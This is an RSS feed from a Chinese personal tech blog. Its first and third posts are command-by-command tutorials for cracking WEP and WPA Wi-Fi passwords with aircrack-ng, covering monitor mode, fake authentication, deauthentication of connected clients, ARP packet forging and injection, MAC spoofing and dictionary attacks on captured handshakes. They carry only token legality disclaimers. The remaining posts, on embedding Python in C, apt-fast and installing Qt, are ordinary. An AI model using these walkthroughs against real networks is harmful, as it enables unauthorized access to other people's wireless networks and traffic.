<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>葡萄树 On The Road --- 我只是一个会操作计算机的民工 &#187; Ubuntu</title>
	<atom:link href="http://www.am82.com/houzan/archives/tag/ubuntu/feed" rel="self" type="application/rss+xml" />
	<link>http://www.am82.com/houzan</link>
	<description>我的时光，停在了你的角落...~</description>
	<lastBuildDate>Tue, 07 Sep 2010 02:08:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Linux WEP测试解析</title>
		<link>http://www.am82.com/houzan/archives/4613</link>
		<comments>http://www.am82.com/houzan/archives/4613#comments</comments>
		<pubDate>Tue, 24 Aug 2010 00:47:23 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[工具]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/archives/4613</guid>
		<description><![CDATA[1、首先

ifconfig -a

查看自己的网卡，我的是eth1，也有的是WLAN

2、ifconfig -a eth1 up

驱动自己的网卡

3、airmon-ng start eth1 6

开启自己网卡的监听模式，频道号为你要破解的AP的频道号。查看的方法很多，我就不细说了。

4、airodump-ng –ivs -w result -c 6 eth1

开始抓包，–ivs代表只抓IVS包，此处是........]]></description>
			<content:encoded><![CDATA[<p>1、首先</p>
<p>ifconfig -a</p>
<p>查看自己的网卡，我的是eth1，也有的是WLAN</p>
<p>2、ifconfig -a eth1 up</p>
<p>驱动自己的网卡</p>
<p>3、airmon-ng start eth1 6</p>
<p>开启自己网卡的监听模式，频道号为你要破解的AP的频道号。查看的方法很多，我就不细说了。</p>
<p>4、airodump-ng –ivs -w result -c 6 eth1</p>
<p>开始抓包，–ivs代表只抓IVS包，此处是两个“-”-w代表写入文件，后面我写的是result即抓到的包都保存在以result为文件名的文件中,-c代表频道，这里是6。</p>
<p>5、开另一shell窗口</p>
<p>伪装连接 aireplay-ng -1 0 -e apID -a apmac -h 网卡mac eth1</p>
<p>成功后 aireplay-ng -3 -b -apmac -h&#160; 网卡mac -x 30 eth1</p>
<p>运行后会显示</p>
<p>read **** packets(got 0 arp requests),sent 0 packets…</p>
<p>大家不要着急，这是没有ARP包，耐心等待。不过我破的有的等到10W多还是没用，建议换个时间试试。</p>
<p>-x 30这个是关键，-x是指定注入速度，这里是30,一般资料都是 -x 1024,但实际上4311在BT3使用1024的注入速度，的确是可以的，能达到4、500，不过过不了1、2秒，就提示</p>
<p>write failed: Cannot allocate memory</p>
<p>wi_write(): Illegal seek</p>
<p>注入就停了。在论坛上看帖子有人说30就能稳定，经实验的确如此。大家可以尝试提高这个数值，看最大能到多少。毕竟30还是比较慢的，我室友看优酷都能到 70多，不用注入，一会儿就够了。</p>
<p>6、等DATA到了15000左右</p>
<p>开另一shell窗口</p>
<p>aircrack-ng -n 64 -b 网卡mac result*.ivs</p>
<p>即可，如果没出密码，就是DATA不够，继续等几W个，再次运行。我的经验是10位纯数字密码3W内90％会出。</p>
<p>&#160;</p>
<p>WEP 破解</p>
<p>1) ifconfig -a</p>
<p>2) ifconfig 6</p>
<p>3) airodump-ng –ivs -w name -c 6 ath1</p>
<p>4) aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1</p>
<p>-1 is -one</p>
<p>5) aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1</p>
<p>新的第5步： aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 ath1</p>
<p>6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp</p>
<p>7) aireplay-ng -2 -r mrarp -x 1024 ath1</p>
<p>8) aircrack-ng -n 64 -b ap_mac name-01.ivs</p>
<p>一 打开shell窗口</p>
<p>二 查看网卡 ifconfig -a</p>
<p>三 加载驱动 ifconfig -a rausb0 up</p>
<p>四 输入命令 airmon-ng start rausb0 6</p>
<p>五 开始抓包 airodump-ng –ivs -w 123 -c 6 rausb0</p>
<p>PS：data&gt;0 PWR&gt;30 cipher=wep</p>
<p>六 新开shll窗口输入 aireplay-ng -1 0 -e TP-LINK -a 00:11:22:33:44:55 -h 00:99:88:77:66:55 rausb0</p>
<p>PS:路由名字MAC地址一定要参照显示大小写。00:11:22….对方mac。00:99:88….自己mac</p>
<p>看到笑脸 :-) 连接成功</p>
<p>七 开始攻击 aireplay-ng -5 -b 00:11:22:33:44:55 -h 00:99:88:77:66:55 rausb</p>
<p>如果正常，会提示:user this packet? 输入y。等一下会得到一个*.xor</p>
<p>八 产生一个注入攻击包。输入 ppacketforge-ng -0 -a 00:11:22:33:44:55 -h 00:99:88:77:66:55 -k 255.255.255.255 -l 255.255.255.255 -y foragment-0224-120114.xor(复制上面的) -w myarp</p>
<p>成功提示:wrote packet to:myarp</p>
<p>九 输入 aireplay-ng -2 -r myarp -x 1024 rausb0</p>
<p>成功提示:use this packet ? 输入y 此时data疯涨 到20000 开始破解</p>
<p>十 新开shll窗口输入 aircrack-ng *.ivs</p>
<p>&#160;</p>
<p>以下一一解释：（运行这些命令都需要打开终端窗口，可以使用Ctrl+C 从文本文件Copy， 然后 Shift+Insert 粘贴入终端窗口）</p>
<p>1）ifconfig -a</p>
<p>这个命令用于找到自己的无线网卡的 Mac地址。请记录下来备用。</p>
<p>2) airmon-ng start wifi0 6(打开网卡的监控模式,不是所有的网卡都支持)</p>
<p>这个命令用于将自己的无线网卡置于Monitor 模式，即类似一个AP的效果，因此可以有抓别人包的功能。</p>
<p>其中 wifi0 是我电脑里面给无线网卡的 ，一般应该都是这个，第一个ifconfig -a命令可以看得到。</p>
<p>wifi0 后面的那个6 ，是需要破解的AP的频道，如果不知道，可以在事前左下角开始菜单里面，找到 第二项 Internet 下面的倒数第二个画着 无线网的一个工具，用它可以看到那些需要破解的AP的频道（Channel）。</p>
<p>运行命令成功以后，你会看到返回的提示显示出现一个 Ath1（如果你是 Athoes的无线网卡的话就是这个，其他的可能不同，不过一般都是XXX1这样）</p>
<p>这个就是你的用于破解的网卡代号</p>
<p>这个命令，简而言之，就是把你的无线网卡置于监控模式，并且指定监控的频道。</p>
<p>如果你发现弄错了频道，那么没关系，重新运行一遍就可以了，不过这个时候，可能就会变成 Ath2…Ath3 等等，但是好像最多运行三次，然后就会失败。</p>
<p>3) airodump-ng –ivs -w name -c 6 ath1</p>
<p>这个命令比较关键，你运行以后，就会列出所有该频道的AP。</p>
<p>其中，6 是指你需要监控的频道，必须和第二个命令里的一样， ath1是刚才第二步出现的别名。</p>
<p>这个命令运行以后，显示的内容比较多，简单介绍一下：</p>
<p>BSSID : 其实就是AP的Mac 地址</p>
<p>PWR： AP信号的大小，一般，低于10，就比较麻烦了，丢包情况严重，比较难破解</p>
<p>RXQ： 干扰的大小</p>
<p>Beacons：发送接受的包，参考信息，在跳说明有数据</p>
<p>#Data：这个比较重要，是接受到可以用来破解的特殊包，如果一直不变，那么，说明没有客户端连接，破解可能很麻烦，如果对方有大文件在下载，那么这个跳的速度非常快，10来分钟就可以有足够的包来破解了，如果跳得很慢，那么，就需要用一些特殊的方式来破解了。</p>
<p>CH：频道</p>
<p>MB：网络连接速度 54就是54MB</p>
<p>ENC， CIPHER，AUTH</p>
<p>这些是加密方式，我们这次只讨论显示为 WEP 和 WEP+ OPN的</p>
<p>如果显示 WPA TKIP 啥的，只能密码穷举破解，个人认为希望不大。</p>
<p>ESSID： 这个是AP的名字，需要用到的。如果是中文貌似会出问题。因此为了阻挡别人破解，可以用中文的ESSID</p>
<p>过一会儿，下面会显示哪些客户端连接到了哪些AP，针对有些Mac地址加密的，很容易模拟对方客户端的Mac从而骗进去，所以不要简单地相信Mac 限制功能。</p>
<p>这个窗口就开着好了，不用关闭，以后的命令，需要重新打开一个终端窗口操作。</p>
<p>4）aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1</p>
<p>这一步开始，我们要做一些真正的破解工作，主要是针对那些客户端仅仅连接，没什么流量的AP，这种AP，#Data的增长非常慢，往往需要很长的时间才有可能取得足够的包（一般5位的密码需要10000个包左右，更多的密码就要更多的。。。。）这个时候就需要 aireplay-ng 出面了，顾名思义，这个软件就是 Replay，也就是说，模拟发包。</p>
<p>&#160;</p>
<p>首先解释命令：</p>
<p>-e ap_essid 就是 -e 之后加上你需要破解的essid ，比如 TP-LINK ， linksys 啥的，注意大小写。</p>
<p>-a ap_mac 就是 -a 之后加上你需要破解的AP的Mac地址，第三步BSSID就可以看得到。不需要 ：哦。</p>
<p>-h XXXXXXXXXX 就是 -h 之后，加上你的无线网卡的 Mac地址， 在第一步你可以得到。</p>
<p>ath1 ，上面解释过了。</p>
<p>一个样板例子：</p>
<p>aireplay-ng -1 0 -e TP-LINK -a 001900123456 -h 001900345678 ath1</p>
<p>这里有个小的建议，大家可以把以上的命令，都记录在一个文件里，然后把里面的XXXXXXXX都用自己的网卡Mac地址替换掉，这样就不需要每次都输入自己的Mac地址了。每次都可以用Copy Paste的方式来输入，这样可以有效防止什么1 和 l ， O和0 的混淆。</p>
<p>这一条命令，是用欺骗的方式，连接上那个AP，因此，如果网络信号不好，可能会执行不成功。</p>
<p>如果成功了，那么会显示Successful :&gt; 字样。否则，请让信号强度大于10。</p>
<p>5）aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1</p>
<p>上一条成功以后，我们需要开始收集那些需要的数据包，才能够进行模拟，并且破解。</p>
<p>所谓的需要的数据包，就是 #Data的数据，如果 #Data一直是0，那么可能会很麻烦，最好的情况是 #Data缓慢增长的这种情况。</p>
<p>解释一下</p>
<p>-b ap_mac 就是你需要破解的AP的Mac 地址，从第三步那里的 BSSID可以找得到。</p>
<p>-h XXXXXXXXXX 就是你自己网卡的Mac地址。</p>
<p>Ath1 和上面一样。。。。。</p>
<p>这一条命令的执行，和#data包有关，如果#Data 没有增加，则这个命令会一直执行，直到捕获一个#Data包。</p>
<p>捕获以后，程序会问你是否需要用这个包来模拟攻击。回答Y即可。</p>
<p>如果攻击成功，则会显示成功，失败往往是因为信号太差造成的，如果攻击失败（往往是捕获的包有问题），程序重试N次以后，或自动重新开始捕捉包，继续进行即可。</p>
<p>等成功完成以后，会显示一个文件名：fragment-XXXXX-XXXXXX.xor</p>
<p>这个文件名，XXXXX里面是数字，是一个文件。马上会用得到。</p>
<p>这一步是最有可能失败的一步，尽量保持信号好一点。</p>
<p>6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp</p>
<p>第六步，参数比较多，解释一下：</p>
<p>-a ap_mac 是待破解的AP的Mac地址，</p>
<p>-h XXXXXXXXX 是你自己的无线网卡Mac地址</p>
<p>fragment-XXXXX-XXXXXX.xor 就是第五步显示的那个文件名。</p>
<p>这一步会很快做完， 显示生成文件到 mrarp啥的，其实就是破解包的准备过程。</p>
<p>7) aireplay-ng -2 -r mrarp -x 1024 ath1</p>
<p>这一步没哈可以修改的，参数解释一下</p>
<p>ath1 是 你的无线网卡的名字</p>
<p>1024 是攻击速度，1024是最大值了，如果你的无线网卡不是MiniPCI的，个人建议设为 512 ，这样不容易死机。</p>
<p>当这一步开始执行，你会看到 第一个终端窗口里面，你破解的那个AP后面的 #Data在飞速增长，一般是 200个/s的速度，我们只需等待即可</p>
<p>8）我们可以新打开一个终端窗口，当 #Data达到 10000个的时候，就可以测试破解了，很多密码都可以 10000左右#Data就算出来</p>
<p>新窗口中运行：</p>
<p>aircrack-ng -n 64 -b ap_mac name-01.ivs</p>
<p>解释一下，</p>
<p>-b ap_mac 对方AP的Mac地址</p>
<p>name-01.ivs 其实是第三步自动生成的一个文件， 如果你多次运行了第三步，那么，可能会生成多个 name-XX.ivs文件，你可以到对应的文件夹里看一下（就在桌面上的第一个文件夹图标里），找到XX最大的那个，就是你当前正在使用的这个文件。</p>
<p>运行以后，如果运气好，一会儿就会显示破解出来的密码，同时会显示对应的Assic码，如果不是标准Assic码，就是一串数字，记录下来，搞掂。</p>
<p>运气不好的情况，这个程序会继续等待更多的#Data，等到了，就会重新计算一次密码。</p>
<p>不过呢，我也试过，30万个#Data都没能算出来，这个加密的兄弟真厉害。</p>
<p>&#160;</p>
<p>小结一下：</p>
<p>本教程只针对 WEP 密码的破解，而且，最好有得到认证的客户端连接在这个AP上，如果没有，有些AP（比如TP-LINK）能够被破解，某些可能就无法破解。</p>
<p>本教程也提供了 模拟Mac地址从而破解 Mac限制的方法</p>
<p>如果你需要你的AP很难被破解，建议：</p>
<p>1）用WPA 加密方式，并且使用不可能被字典猜到的密码，目前还是基本可靠的</p>
<p>2）如果只支持 WEP加密，那么，尽量考虑用隐藏 SSID的方式，这样可以增加破解难度</p>
<p>3）如果只支持 WEP加密，那么，可以考虑使用中文名字作为SSID，这样基本问题不大。</p>
<p>4）一般破解时候，大家都会选择常用的频道，例如 6频道，第三步显示频道的时候，你的AP也会被列出来，那么第一个目标失败的时候，黑客往往会选择第二个容易下手的目标，但是如果你选择了8、 4、这些奇怪的频道，那么狠客往往懒得重新进入该频道的监控模式，你就可以逃过一劫。不过， 某些廉价AP，往往对6 频道做了优化，这个频道信号最强….这就没办法了。</p>
<p>5）有空换换你的密码：）</p>
<p>又注：联入网络以后，你可以管理他的AP，进行一些优化啥的，往往AP的密码，可能就是WEP的密码。</p>
<p>补充:</p>
<p>其中第5步:</p>
<p>aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1 可以用新命令替代:</p>
<p>aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 ath1</p>
<p>这一条命令可以自动地捕捉包,自动的发送包,自动的存为文件.</p>
<p>因此,这一步执行以后,如果开始正确的发收包,则可以看到 Data开始上涨,不过貌似速度会慢一点,用老命令的话,每秒500个增加,用新命令可能只有200个/秒</p>
<p>当足够多的数据包出现以后,可以直接运行第八步,跳过6\7两步</p>
<p>实验用eeepc破解wpa/wpa2的密码!</p>
<p>先要说明，任何不经别人同意而进入别人网络多是非法和不道德的行为。</p>
<p>如要实验请拿自已的ap开刀……</p>
<p>环境：</p>
<p>os/puppy 301.</p>
<p>软件:aircrack 0.9.3</p>
<p>字典文档pass.txt</p>
<p>ap无线加密方式wpa2/psk</p>
<p>ap TP-LINK mac 00:00:00:00:00:00 频道 6</p>
<p>eeepc mac AA:AA:AA:AA:AA:AA (自已小e的网卡地址)</p>
<p>一个已连上ap的客户端 mac BB:BB:BB:BB:BB:BB</p>
<p>还有就是信号能足够好。(自已实验当然没问题）</p>
<p>开终端输入</p>
<p>airmon-ng stop ath0</p>
<p>airmon-ng start wifi0 6</p>
<p>(置无线网卡到Monitor模式,频道 6）</p>
<p>airodump-ng -c 6 –bssid 00:00:00:00:00:00 -w psk ath0</p>
<p>捕获4-way握手认证到psk文件</p>
<p>另开终端输入</p>
<p>aircrack-ng -w pass.txt -b 00:00:00:00:00:00 psk*.cap</p>
<p>挂上字典穷举</p>
<p>如这时有4-way握手认证数据捕获到会进入穷举窗口，否则会返回如下信息：</p>
<p>No valid WPA handshakes found</p>
<p>这时你可做要么继续等，要么输入:</p>
<p>aireplay-ng -0 1 -a 00:00:00:00:00:00 -c BB:BB:BB:BB:BB:BB ath0</p>
<p>强制客户端重新连结上ap,你可以多试几次！</p>
<p>wpa破解的关键还是字典文档了，也就是说这个8-63位的密码一定要在你的字典中，当然是自已写入就行了……..</p>
<p>另外用eeepc运算你会抓狂的，试了就知道了.</p>
<p>BT3下破解共享密钥认证的WEP密码!</p>
<p>当然先是制作BT3。</p>
<p>然后要做的一步相当的重要，那就是卸载你用来攻击的无线网卡，并更改它的MAC为AP的无线客户端的MAC，一定是要合法无线客户端的MAC，要不然很难成功。我的网卡名为WIFI1,大家可以用命令先看下自己的网卡名。（因为我的笔记本内置的网卡也是ATHEROS芯片的，但是破解没有成功，所以改用 ICOM 的SL-5200,此卡相当不错，支持a/b/g三频，而且支持到14频道，这个很难得。最后笔记本自带的网卡也成功破解了，证实是方法不当所致）</p>
<p>相应的命令为：</p>
<p>ifconfig –a</p>
<p>ifconfig –a wifi1 down</p>
<p>macchanger –m 00:1a:73:c5:31:e0 wifi1</p>
<p>这个命令中攻击用无线网卡的MAC必须用冒号隔开，这个命令以后对MAC的操作就不需要再用冒号隔开了，直接输数字和字母就可以了（十六进制）。</p>
<p>其中需要注意的就是这个伪装的MAC必须与AP的无线客户端相同，要不然很难成功，至少我是这样的。</p>
<p>ifconfig –a wifi1 up(加载攻击用无线网卡)</p>
<p>airmon-ng start wifi1 13</p>
<p>上面的13代表的是无线AP所工作的频道，2.4G WIFI用频率的最高频道为14频道。</p>
<p>图片中所示的“ath2”就是我们最后攻击所用的无线网卡的接口名。</p>
<p>准备工作完毕以后我们就可以开始了。</p>
<p>首先我们先开始收集ivs包。</p>
<p>相应的命令为：</p>
<p>airodump-ng – –ivs –w check – –bssid 00131004e526 –c 13 ath2</p>
<p>–ivs 表示只收集ivs包，</p>
<p>-w 后面表示收集ivs包所生成的文件名，但最后往往会在文件名后加上－01、－02等等，</p>
<p>–bssid 表示AP的MAC，这样做的好处就是只收集与这个MAC相对应的AP的ivs包，</p>
<p>-c 后面跟的AP的频道数。</p>
<p>这一步做完我们就可以开始正式的攻击了。</p>
<p>相应的攻击命令为：</p>
<p>aireplay-ng -0 1 –a 00131004e526 –c 001a73c5-31e0 ath2</p>
<p>-0 表示对无线客户端进行认证攻击，使无线客户端断线重连，以获得握手包。</p>
<p>1</p>
<p>表示攻击的次数，一般顺利的话1次就够了，不顺利的话攻击无数次都不成功，建议大家在纯的BT3下进行，VM下很难获得，我在VM做了N次，用 WUSB54G V4只获得过一次握手包。</p>
<p>-a 后面跟的是AP的MAC，</p>
<p>-c 后面跟的所要攻击的无线客户端的MAC，记住这个参数一定是要-c，不能是-h哦。</p>
<p>攻击成功后会在airodump-ng的窗口的右上角出现捕获握手包的提示，它所保存的文件是以AP的MAC命名的XOR文件，注意与后面构建 ARP包所必须的XOR文件相区别。</p>
<p>然后就是进行虚假认证攻击，相应的命令为：</p>
<p>aireplay-ng -1 0 –e LINKSYS –a 00131004e526 –y check-01-00-13-10-04-e5-26.xor ath2</p>
<p>-1 表示虚假认证攻击，</p>
<p>0 表示攻击延时，</p>
<p>-e 表示AP的ESSID，</p>
<p>-a 表示AP的MAC，</p>
<p>-y 表示捕获的握手包所生成的文件名。</p>
<p>看图中提示好像攻击只成功了一半，challenge是失败的，但是依然可以构建arp包，并成功进行注入攻击破解WEP密码。而且攻击会不断进行，我是用Ctrl+c来停止的。</p>
<p>然后就要开始进行－5攻击了，相应的命令为：</p>
<p>Aireplay-ng -5 –b 00131004e526 –h 001a73c531e0 ath2</p>
<p>出现“ Use this packet?”提示后输入“y”并回车。出现下面的画面就表示成功获得了构建arp包所必须的xor文件</p>
<p>获得xor文件以后我们就可以构建arp包了，相应的命令为：</p>
<p>packetforge-ng -0 –a 00131004e526 –h 001a73c531e0 –k 255.255.255.255 –l 255.255.255.255 –y fragment-0215-195944.xor –w arp</p>
<p>-l 是大写字母L的小写，不是1哦，</p>
<p>-y 后面跟的是构建arp包所必须的xor文件，</p>
<p>-w 后面跟的是构建的arp包所生成的文件名。</p>
<p>这一步以后我们就可以进行让DATA猛涨的注入式攻击了，相应的命令为：</p>
<p>aireplay-ng -2 –r arp –x 1024 ath2</p>
<p>-2 就是注入式攻击</p>
<p>-r 后面跟的是arp包文件名，</p>
<p>-x 定义所发送的攻击包的大小，最大为1024，默认为512，以大家可以稳定发送攻击包的大小为准，根据无线网卡的不同而不同。</p>
<p>大家可以看到一分钟的时间DATA数就从2万多增长到6万多了。</p>
<p>其实只要DATA数到大概5万的时候就可以开启实时破解了，相应的命令为:</p>
<p>aircrack-ng -n 128 *.ivs</p>
<p>最后说几句，大家输入命令的时候可以用键盘的“↑”“↓”来翻出以前输入过的命令，还有比如要反复输入的MAC可以用复制和粘贴来操作，这样可以方便许多。总之一句话，大家需要反复的实践才能获得你想要的知识，我就是在试了N次，试了N多的无线网卡才获得成功的，以前一直用的好好的的LINKSYS 的WUSB54G V4无线网卡居然死活不行，这个网卡可是WEP开放式、WPA、WPA2都成功破解过的啊，最后还是笔记本网卡成功的。实验过程中发现还是笔记本无线网卡来的好用，几乎不会出现攻击假死的情况，USB的经常碰到。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4613/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu 10.04下C程序中集成Python</title>
		<link>http://www.am82.com/houzan/archives/4610</link>
		<comments>http://www.am82.com/houzan/archives/4610#comments</comments>
		<pubDate>Mon, 23 Aug 2010 05:04:51 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[嵌入开发]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/archives/4610</guid>
		<description><![CDATA[测试环境：Ubuntu 10.04

#include <stdio .h>
#include <python .h>
int main(int argc, char * argv[])
{
  // initialize the interpreter
  Py_Initialize();
  // evaluate ........]]></description>
			<content:encoded><![CDATA[<p>测试环境：Ubuntu 10.04</p>
<p>#include &lt;stdio .h&gt;   <br />#include &lt;python .h&gt;    <br />int main(int argc, char * argv[])    <br />{    <br />&#160; // initialize the interpreter    <br />&#160; Py_Initialize();    <br />&#160; // evaluate some code</p>
<p>&#160; PyRun_SimpleString(&quot;import sys\n&quot;);   <br />&#160; //ignore line wrap on following line    <br />&#160; PyRun_SimpleString(&quot;sys.stdout.write(&#8216;Hello from an embedded Python Script\\n&#8217;)\n&quot;);    <br />&#160; // shut down the interpreter    <br />&#160; Py_Finalize();    <br />&#160; return 0;    <br />} </p>
<p>编译： </p>
<p>$gcc Listing1.c -I/usr/include/python2.6 -lpython2.6</p>
<p>编译成.so</p>
<p>$gcc -c -fPIC Listing2.c -I/usr/include/python2.6   <br />$gcc -shared Listing2.o -o libcrypto.so -lpython2.6</p>
<p>&#160;</p>
<p>from:oulan.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4610/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu Linux无线密码破解利器Aircrack-ng</title>
		<link>http://www.am82.com/houzan/archives/4604</link>
		<comments>http://www.am82.com/houzan/archives/4604#comments</comments>
		<pubDate>Sun, 22 Aug 2010 03:04:48 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[Aircrack-ng]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[工具]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=4604</guid>
		<description><![CDATA[想必搞过破解的朋友们都会知道bt3  bt4等Linux下的无线破解工具吧，在Ubuntu Linux系统下同样有着一款破解功能强大的工具，那就是aircrack-ng。放这篇文章出来只是做技术上的交流，本人可不希望谁用这个做坏事儿哦~~~嘿嘿，破解开始咯：

测试平台 Y450  T6600 2.1G  Ubuntu 10.04 成功

1.下载安装aircrack-ng，本人直接从源中安装的。

sudo apt-get install aircrack-ng

2.启动无线，这里.......]]></description>
			<content:encoded><![CDATA[<p>想必搞过破解的朋友们都会知道bt3  bt4等Linux下的无线破解工具吧，在Ubuntu Linux系统下同样有着一款破解功能强大的工具，那就是aircrack-ng。放这篇文章出来只是做技术上的交流，本人可不希望谁用这个做坏事儿哦~~~嘿嘿，破解开始咯：</p>
<p>测试平台 Y450  T6600 2.1G  Ubuntu 10.04 成功</p>
<p>1.下载安装aircrack-ng，本人直接从源中安装的。</p>
<p>sudo apt-get install aircrack-ng</p>
<p>2.启动无线，这里本人需要说明一下，很多朋友的无线可能在Windows系统中是禁用或者是系统自带的电源管理系统中未开启无线的，这种情况下需要先在win状态下开启之后才能在Ubuntu中开启无线。开启完成后进入Ubuntu ，开一个终端，ifconfig -a看看wlan是否开启，开启正常可进行下一步。</p>
<p>3.准备工作完成，开始破解。开启终端①，</p>
<p>sudo airmon-ng start wlan0</p>
<p>sudo airodump-ng mon0</p>
<p>这时会看到无线的地址出现在屏幕上，这里有显示它们的mac地址以及所在频道。ok，ctrl+c退出，在这里我们选择类型为wep的无线为破解对象。我们需要记录它所在的频道以及mac地址。</p>
<p>4.开启终端②</p>
<p>sudo airodump-ng -c 频道 –bssid 目标主机mac -w wep mon0</p>
<p>这里的wep为默认的存包文件的名字，可以更改。</p>
<p>5.开启终端③</p>
<p>sudo aireplay-ng -1 0 -a 目标mac -h 本机MAC mon0</p>
<p>（本机的mac可以开启一个新的终端用ifconfig -a来查询）</p>
<p>这时会有成功字样显示，如果没有显示可能就是目标不支持或者系统部稳定，需要更换目标了。显示成功后进行下步。</p>
<p>6.继续输入sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标MAC -h 本机MAC mon0</p>
<p>此时终端②中的数据会增长很快，当数据到达5000的时候就可以破解了。</p>
<p>7.开启终端 ④</p>
<p>sudo aircrack-ng wep*.cap</p>
<p>这时就开始破解了，如果你进行过多组，可能会有多组结果，你可以用数字123进行选择，如果不出意外你已经破解出来这组无线的密码了。</p>
<p>8.最后 sudo airmon-ng stop mon0结束监控过程</p>
<p>( sudo airomon-ng check可以查看你开启了多少监控，如果运行多组的时候可以查看后选择关闭)。<br />
from：www.nenew.net</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4604/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apt-fast and Axel: Faster apt-get Installations and Upgrades</title>
		<link>http://www.am82.com/houzan/archives/4561</link>
		<comments>http://www.am82.com/houzan/archives/4561#comments</comments>
		<pubDate>Wed, 11 Aug 2010 07:30:40 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[Apt-fast]]></category>
		<category><![CDATA[apt-get]]></category>
		<category><![CDATA[axel]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=4561</guid>
		<description><![CDATA[(刚刚发现的，如果你也在用ubuntu的话，这个玩意儿非常实用，推荐～～～)
Apt-fast script that combines the power of the axel download manager with the stability of apt-get.
Install axel in ubuntu

First you need to install axel in ubuntu using the following comamnd from your terminal

sudo apt-get install axel

Now you need to download......]]></description>
			<content:encoded><![CDATA[<p>Apt-fast script that combines the power of the axel download manager with the stability of apt-get.<br />
<strong>Install axel in ubuntu</strong></p>
<p>First you need to install axel in ubuntu using the following comamnd from your terminal</p>
<blockquote><p>sudo apt-get install axel</p></blockquote>
<p>Now you need to download apt-fast script from <a href="http://www.mattparnell.com/linux/apt-fast/" target="_blank">here</a>.Then, just place the script somewhere (/usr/bin or /usr/sbin is ideal), rename it to apt-fast (without the .sh extension)</p>
<blockquote><p>sudo mv apt-fast.sh apt-fast</p></blockquote>
<p>now you need to change the permissions to downloaded script</p>
<blockquote><p>sudo chmod +x apt-fast</p></blockquote>
<p><strong>Using apt-fast</strong></p>
<p>Once done, just use it like apt-get. To install a single package, make sure your database is up to date (apt-fast update), and run apt-fast install packagenamehere. Watch it download with incredible speed, and install your requested packages. To upgrade or dist-upgrade, do the same thing. Just use apt-fast dist-upgrade or apt-fast upgrade.</p>
<p id="aeaoofnhgocdbnbeljkmbjdmhbcokfdb-mousedown">Should your download stall for any number of reasons, you’ll need to do an apt-fast clean.</p>
<p>from:<a href="http://www.ubuntugeek.com/apt-fast-and-axel-faster-apt-get-installations-and-upgrades.html">http://www.ubuntugeek.com/apt-fast-and-axel-faster-apt-get-installations-and-upgrades.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4561/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu下安装Qt开发环境</title>
		<link>http://www.am82.com/houzan/archives/4552</link>
		<comments>http://www.am82.com/houzan/archives/4552#comments</comments>
		<pubDate>Tue, 10 Aug 2010 02:20:36 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[嵌入开发]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=4552</guid>
		<description><![CDATA[一、Ubuntu下安装Qt

$ sudo apt-get install qt4-dev-tools qt4-doc qt4-qtconfig qt4-demos qt4-designer

注：qt4-dev-tools 包含了Qt Assistant及Qt Linguist等工具，因此不需要单独安装这两个工具。其它的，qt4-doc 是帮助文档，包含了Qt中各个类库的详细说明以及丰富的例子程序，可以使用Qt Assistant 工具来打开阅读。qt4-qtconfig 是配置Qt环境的一个对话框，一般默认就行了，很少有.......]]></description>
			<content:encoded><![CDATA[<p>一、Ubuntu下安装Qt</p>
<p>$ sudo apt-get install qt4-dev-tools qt4-doc qt4-qtconfig qt4-demos qt4-designer</p>
